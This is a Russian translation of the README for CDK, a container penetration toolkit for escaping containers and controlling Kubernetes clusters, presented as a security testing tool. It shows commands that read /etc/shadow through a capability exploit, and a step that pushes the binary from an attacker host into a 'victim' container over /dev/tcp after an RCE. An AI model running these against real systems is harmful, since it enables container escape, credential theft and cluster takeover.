CDK - Инструментальный набор для проникновения в контейнеры без зависимостей

English | Китайский (упрощённый)

Юридическая оговорка

Использование CDK для атаки на цели без предварительного взаимного согласия является незаконным. CDK предназначен исключительно для тестирования безопасности.

Обзор

CDK — это инструментальный набор для проникновения в контейнеры с открытым исходным кодом, разработанный для обеспечения стабильной эксплуатации в различных урезанных контейнерах без какой-либо зависимости от операционной системы. Он включает полезные сетевые утилиты и множество мощных PoC/EXP, помогая вам легко выйти из контейнера и взять под контроль кластер K8s.

Быстрый старт

Запустите cdk eva, чтобы получить информацию оценки и рекомендуемую эксплойт, затем запустите cdk run, чтобы начать атаку.

> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

Установка/доставка

Скачайте последний релиз по ссылке https://github.com/cdk-team/CDK/releases/

Поместите исполняемые файлы в целевой контейнер и начните тестирование.

СОВЕТЫ: Доставка CDK в целевой контейнер при реальном тестировании на проникновение

Если у вас есть эксплойт, позволяющий загружать файлы, вы можете напрямую загрузить бинарный файл CDK.

Если у вас есть эксплойт для удаленного выполнения кода (RCE), но в целевом контейнере нет команд curl или wget, вы можете использовать следующий способ для доставки CDK:

1. Сначала разместите бинарный файл CDK на вашем хосте с публичным IP.

(on your host)
nc -lvp 999 < cdk

1. Внутри контейнера-жертвы выполните

cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

Использование

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.
  --profile=<name> Select evaluation profile.

Возможности

CDK имеет три модуля:

1. Evaluate (Оценка): сбор информации внутри контейнера для поиска потенциальных уязвимостей.
2. Exploit (Эксплойт): для побега из контейнера, закрепления в системе и горизонтального перемещения.
3. Tool (Инструмент): сетевые утилиты и API для TCP/HTTP-запросов, туннелей и управления кластером K8s.

Модуль «Оценка»

Использование

cdk evaluate [--full]

Модуль «Эксплойт»

Вывести список всех доступных эксплойтов:

cdk run --list

Запустить целевой эксплойт:

cdk run <script-name> [options]

Примечание о тонком (Thin) сборке: Тонкая сборка подготовлена для контейнеров с коротким временем жизни, таких как функции без сервера. Мы добавляем метки сборки в исходный код и исключаем некоторые эксплойты, чтобы сделать бинарный файл легче. 2-мегабайтный файл содержит 90% функций CDK, и вы также можете выбрать полезные эксплойты из исходного кода CDK для сборки собственного легковесного бинарного файла.

Модуль инструментов

Запуск команд аналогичен Linux, с небольшими различиями в аргументах ввода, см. ссылку на использование.

cdk nc [options]
cdk ps

Документация о сборке

Если вы хотите узнать, как мы выпустили новую версию, как создается тонкая сборка, почему мы предоставляем версии с UPX, каковы различия между различными версиями (all, normal, thin, upx) и как выбрать конкретные эксплойты и инструменты CDK для компиляции собственной сборки, ознакомьтесь с документацией о сборке.

Документация для разработчиков

• запуск тестов в контейнере.

Вклад в CDK

Прежде всего, спасибо, что нашли время внести свой вклад!

Благодарим следующих контрибьюторов:

Больше контрибьюторов: Список контрибьюторов

Сообщение об ошибках

Ошибки отслеживаются как GitHub Issues. Создайте проблему, указав текущую версию CDK, сообщение об ошибке и среду. Опишите точные шаги для воспроизведения проблемы.

Предложение улучшений

Предложения по улучшению отслеживаются в GitHub Discussions. Вы можете опубликовать любые мысли здесь, чтобы обсудить их напрямую с разработчиками.

Pull-requests

Исправление проблем или поддержание качества CDK:

• Опишите текущую версию CDK, среду, проблему и точные шаги для воспроизведения проблемы.
• Скриншоты или журналы до и после исправления проблемы.

Новая функциональность или эксплойты:

• Объясните, почему это улучшение будет полезно другим пользователям.
• Пожалуйста, предоставьте работосреду для проверки вкладов.
• Скриншоты работы новой функции.
• Если вы добавляете новый скрипт для оценки/эксплойта, добавьте краткую документацию в сообщение PR, вот пример.

Мероприятия

404StarLink 2.0 - Galaxy

Проект CDK теперь включен в Starlink Project 2.0 от 404Team. Присоединяйтесь к сообществу StarLink, чтобы связаться с командой разработчиков CDK.

• https://github.com/knownsec/404StarLink2.0-Galaxy#community

BlackHat Asia 2021 Arsenal

• https://www.blackhat.com/asia-21/arsenal/schedule/index.html#cdk-zero-dependency-container-penetration-toolkit-22422

HITB SecConf 2021 Amsterdam

• Доклад: "Attack Cloud Native Kubernetes"

WHC 2021 (Бутянская конференция белых шляп)

• CDK: Also a Awesome BugBounty Tool for Cloud Platform

KCON 2021 Arsenal

• http://kcon.knownsec.com/2021/#/arsenal

Kubernetes community Days 2021

• https://community.cncf.io/events/details/cncf-kcd-china-presents-kubernetes-community-days-china/